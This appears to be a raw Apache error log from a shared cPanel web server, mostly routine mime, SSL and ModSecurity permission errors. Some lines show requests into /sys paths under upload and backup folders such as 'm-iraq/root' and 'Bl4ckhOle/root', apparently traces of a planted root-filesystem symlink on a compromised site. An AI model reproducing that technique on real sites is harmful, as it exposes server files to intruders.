[Fri Jul 17 10:28:09.539177 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.539217 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.539790 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.539825 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.539848 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.539876 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.580626 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.580686 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.580718 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.580744 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.605446 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.743216 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.809194 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:52600] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:09.900411 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:09.950992 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:10.052688 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:10.255363 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:10.930935 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:52734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:10.958476 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:11.616454 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:12.208231 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:12.818420 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:58482] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:13.155440 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:13.248273 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:13.854136 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:13.978021 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:14.059899 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:14.160354 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:14.686871 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS2/irq
[Fri Jul 17 10:28:14.978434 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:15.727156 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:58948] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:16.106995 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:58974] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:16.644130 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:16.740692 2026] [security2:error] [pid 2075780:tid 2075780] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm2Zx0C3r-GF3RTNAbT9wAAAAY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1061&page_105=2091
[Fri Jul 17 10:28:16.740854 2026] [security2:error] [pid 2075780:tid 2075780] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm2Zx0C3r-GF3RTNAbT9wAAAAY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1061&page_105=2091
[Fri Jul 17 10:28:17.172568 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:17.184934 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:17.575626 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:17.677125 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:18.110232 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:18.183592 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:59094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:18.188355 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:18.490890 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS3/irq
[Fri Jul 17 10:28:18.596840 2026] [core:error] [pid 2078862:tid 2078862] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:13/eject
[Fri Jul 17 10:28:19.298418 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:19.853591 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/tty18/power/control"] [unique_id "alm2awTUp7iFPeTAJ9d3DgAAAAU"]
[Fri Jul 17 10:28:19.853629 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/tty18/power/control"] [unique_id "alm2awTUp7iFPeTAJ9d3DgAAAAU"]
[Fri Jul 17 10:28:20.090843 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:20.411925 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:20.658106 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:20.863758 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:21.317307 2026] [security2:error] [pid 2075705:tid 2075705] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2bfVsLAz87UqRdDoX_wAAAAA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:28:21.317361 2026] [security2:error] [pid 2075705:tid 2075705] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2bfVsLAz87UqRdDoX_wAAAAA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:28:21.532735 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:21.614763 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:21.703461 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:21.802416 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:21.947551 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:22.042581 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:22.472616 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:23.133015 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:23.476390 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:23.681215 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:23.782481 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:24.189859 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:24.190987 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:24.995044 2026] [core:error] [pid 2075693:tid 2075693] (13)Permission denied: [client 47.82.52.235:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:06.0/firmware_node/physical_node/subsystem/rescan
[Fri Jul 17 10:28:26.435568 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:26.864375 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:27.316878 2026] [ssl:error] [pid 2078862:tid 2078862] (70014)End of file found: [client 66.85.158.91:52396] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:27.340834 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:27.359557 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:27.359653 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:27.359719 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:27.363210 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:52412] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:27.596423 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:27.685899 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty32/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 10:28:27.860153 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:28.015108 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:28.101240 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:52452] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:29.660152 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:29.865748 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:52538] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:30.369809 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:31.083458 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:31.415541 2026] [core:error] [pid 2075718:tid 2075718] (13)Permission denied: [client 47.82.48.61:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/device:08/physical_node/subsystem/uevent
[Fri Jul 17 10:28:31.916739 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:55116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:32.099591 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:32.713143 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:55162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:32.988227 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:33.250937 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:33.727354 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:33.997076 2026] [security2:error] [pid 2076257:tid 2076257] [client 20.63.63.128:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "mail.bostonlanka.com"] [uri "/index.php"] [unique_id "alm2eSBQrJXNVyJFnL69eAAAABU"]
[Fri Jul 17 10:28:34.004073 2026] [security2:error] [pid 2076257:tid 2076257] [client 20.63.63.128:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "mail.bostonlanka.com"] [uri "/index.php"] [unique_id "alm2eSBQrJXNVyJFnL69eAAAABU"]
[Fri Jul 17 10:28:34.235198 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:34.660622 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:55226] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:35.176398 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:35.677749 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:36.375980 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:36.495106 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:37.237120 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:37.348443 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:37.384599 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:37.395887 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:37.666337 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:37.775844 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:37.904757 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:38.304991 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:55362] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:38.347244 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:55380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:28:38.446797 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:38.881499 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:39.170323 2026] [security2:error] [pid 2076194:tid 2076194] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2f5T6UchYzP7t8WhMyAAAABI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:28:39.170461 2026] [security2:error] [pid 2076194:tid 2076194] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2f5T6UchYzP7t8WhMyAAAABI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:28:39.581558 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:39.697931 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory20/subsystem/uevent
[Fri Jul 17 10:28:39.810321 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:39.926256 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.131288 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.343724 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752286 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752375 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752409 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752433 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752451 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752469 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752487 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752504 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752521 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752538 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752554 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752571 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752588 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752605 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752622 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:40.752651 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:41.395554 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:69/subsystem/event3/device/capabilities/abs"] [unique_id "alm2gUj_u9-aE9qeQW0d6AAAAAk"]
[Fri Jul 17 10:28:41.395613 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:69/subsystem/event3/device/capabilities/abs"] [unique_id "alm2gUj_u9-aE9qeQW0d6AAAAAk"]
[Fri Jul 17 10:28:41.807391 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:41.922428 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/memory/devices/memory45/node0/numastat"] [unique_id "alm2gZT6UchYzP7t8WhMzAAAABI"]
[Fri Jul 17 10:28:41.922467 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/memory/devices/memory45/node0/numastat"] [unique_id "alm2gZT6UchYzP7t8WhMzAAAABI"]
[Fri Jul 17 10:28:42.435263 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:42.667035 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory61/subsystem/uevent
[Fri Jul 17 10:28:42.667496 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory61/subsystem/uevent"] [unique_id "alm2gp-MjlCH45ePojRKzgAAABE"]
[Fri Jul 17 10:28:42.667520 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory61/subsystem/uevent"] [unique_id "alm2gp-MjlCH45ePojRKzgAAABE"]
[Fri Jul 17 10:28:42.748419 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:43.476766 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:43.580639 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:43.891591 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:28:44.116656 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.244.66.250:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.ceylondigest.com"] [uri "/robots.txt"] [unique_id "alm2hGFjrl6DCT-Pyn8VOgAAAAo"]
[Fri Jul 17 10:28:44.117078 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ceylondigest.com"] [uri "/robots.txt"] [unique_id "alm2hGFjrl6DCT-Pyn8VOgAAAAo"]
[Fri Jul 17 10:28:44.218466 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/driver/unbind
[Fri Jul 17 10:28:44.650185 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS1/device/driver/bind
